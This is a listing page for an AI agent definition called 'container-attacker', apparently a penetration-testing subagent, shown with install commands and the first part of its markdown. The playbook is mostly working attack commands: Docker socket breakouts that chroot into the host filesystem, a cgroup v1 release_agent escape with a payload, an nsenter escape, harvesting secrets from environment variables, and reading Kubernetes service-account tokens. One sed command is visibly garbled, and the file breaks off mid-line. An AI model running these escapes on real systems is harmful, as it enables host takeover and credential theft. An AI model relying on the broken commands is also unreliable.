container-attacker

Name: container-attacker
Author: mukul975

bymukul975· 27 subagents

Stars

Forks

How to install container-attacker?

mukul975/threatswarm/container-attacker

$curl -o .claude/agents/container-attacker.md https://raw.githubusercontent.com/mukul975/threatswarm/HEAD/.claude/agents/container-attacker.md

Installs into the current project.

›Prefer a prompt? Paste this to your agent

Install & use

Install container-attacker by running `curl -o .claude/agents/container-attacker.md https://raw.githubusercontent.com/mukul975/threatswarm/HEAD/.claude/agents/container-attacker.md`, then use it for the current task and follow its documentation at https://github.com/mukul975/threatswarm.

Files · 1

View on GitHub

.claude/agents/container-attacker.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before starting container or Kubernetes testing, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:performing-kubernetes-penetration-testing`
5	- `cybersecurity-skills:performing-container-escape-detection`
6	- `cybersecurity-skills:auditing-kubernetes-cluster-rbac`
7	- `cybersecurity-skills:scanning-docker-images-with-trivy`
8	- `cybersecurity-skills:performing-docker-bench-security-assessment`
9	- `cybersecurity-skills:detecting-container-escape-with-falco-rules`
10	- `cybersecurity-skills:detecting-privilege-escalation-in-kubernetes-pods`
11	- `cybersecurity-skills:performing-kubernetes-etcd-security-assessment`
12
13	## Scope Enforcement
14	Verify container registry, cluster API endpoint, or namespace is in scope.txt.
15	Container escapes affect the HOST — confirm host is also in scope.
16	Document the container ID and base image before any escape attempt.
17
18	## Docker Enumeration
19
20	### Container Context Discovery
21	```bash
22	# Am I in a container?
23	cat /proc/1/cgroup 2>/dev/null \| grep -i docker
24	ls -la /.dockerenv 2>/dev/null && echo "In Docker container"
25	cat /proc/self/mountinfo \| grep docker
26	hostname && uname -r
27
28	# What capabilities do I have?
29	cat /proc/self/status \| grep Cap
30	# Decode: capsh --decode=$(grep CapEff /proc/self/status \| awk '{print $2}')
31	capsh --print 2>/dev/null
32
33	# Check mounted volumes
34	mount \| grep -v "proc\\|sys\\|dev\\|cgroup"
35	df -h \| grep -v tmpfs
36
37	# Check for docker socket
38	find / -name "docker.sock" 2>/dev/null
39	ls -la /var/run/docker.sock 2>/dev/null
40	ls -la /run/docker.sock 2>/dev/null
41
42	# Environment variables (may contain secrets)
43	env \| grep -iE "password\|secret\|key\|token\|api\|aws\|azure\|gcp\|db" \| \
44	tee /tmp/env_secrets.txt
45	```
46
47	### Docker Socket Escape
48	```bash
49	# Verify docker socket is accessible
50	curl -s --unix-socket /var/run/docker.sock \
51	http://localhost/info \| python3 -m json.tool 2>&1
52
53	# List images on host
54	curl -s --unix-socket /var/run/docker.sock \
55	http://localhost/images/json \| python3 -m json.tool 2>&1
56
57	# Container breakout via docker socket — mount host FS
58	docker -H unix:///var/run/docker.sock run \
59	-v /:/host \
60	--rm \
61	-it alpine \
62	chroot /host /bin/bash
63
64	# Alternative: create container with --privileged + host network
65	docker -H unix:///var/run/docker.sock run \
66	-d \
67	--privileged \
68	--net=host \
69	--pid=host \
70	-v /:/host \
71	alpine \
72	tail -f /dev/null
73
74	# Get shell in that container
75	CONTAINER_ID=$(docker -H unix:///var/run/docker.sock ps -q \| tail -1)
76	docker -H unix:///var/run/docker.sock exec -it $CONTAINER_ID chroot /host /bin/bash
77	```
78
79	### Privileged Container Escape (cgroup v1)
80	```bash
81	# Check if privileged
82	cat /proc/self/status \| grep CapEff
83	# CapEff: 0000003fffffffff = fully privileged
84
85	# cgroup v1 release_agent escape (classic technique)
86	mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
87	echo 1 > /tmp/cgrp/x/notify_on_release
88	host_path=$(sed -n 's/.\perdir=$[^,]$.*/\1/p' /etc/mtab)
89	echo "$host_path/cmd" > /tmp/cgrp/release_agent
90
91	# Write payload
92	echo '#!/bin/sh' > /cmd
93	echo "id > $host_path/output" >> /cmd
94	chmod a+x /cmd
95
96	# Trigger (run process in cgroup and let it die)
97	sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
98	cat /output # should show root@host
99
100	# Namespace escape — mount procfs namespace
101	nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
102	```
103
104	### Docker Image Analysis
105	```bash
106	# Pull and inspect image for secrets
107	docker pull $TARGET_IMAGE 2>&1
108	docker inspect $TARGET_IMAGE 2>&1 \| \
109	tee evidence/$(date +%Y%m%d)/$TARGET/container/image_inspect.json
110	docker history $TARGET_IMAGE --no-trunc 2>&1 \| \
111	tee evidence/$(date +%Y%m%d)/$TARGET/container/image_history.txt
112
113	# Extract filesystem layers for analysis
114	docker save $TARGET_IMAGE -o /tmp/image.tar 2>&1
115	mkdir -p /tmp/image_extract && tar -xf /tmp/image.tar -C /tmp/image_extract/
116	find /tmp/image_extract/ -name "*.tar" \| while read layer; do
117	tar -tvf "$layer" 2>/dev/null \| grep -iE "password\|secret\|key\|\.env\|credentials" \|\| true
118	done
119
120	# Trivy container image scan
121	trivy image $TARGET_IMAGE \
122	--severity CRITICAL,HIGH \
123	--format json \
124	--output evidence/$(date +%Y%m%d)/$TARGET/container/trivy_image.json \
125	2>&1
126
127	# Hadolint Dockerfile linting
128	hadolint Dockerfile 2>&1 \| tee evidence/$(date +%Y%m%d)/$TARGET/container/hadolint.txt
129	```
130
131	## Kubernetes Enumeration
132
133	### Cluster Discovery from Inside Pod
134	```bash
135	# Service account token (auto-mounted in pods)
136	SA_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
137	CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
138	NAMESPACE=

6 picks

Type

Install container-attacker by running `curl -o .claude/agents/container-attacker.md https://raw.githubusercontent.com/mukul975/threatswarm/HEAD/.claude/agents/container-attacker.md`, then use it for the current task and follow its documentation at https://github.com/mukul975/threatswarm.

container-attacker

How to install container-attacker?

Related

container-attacker

How to install container-attacker?

Related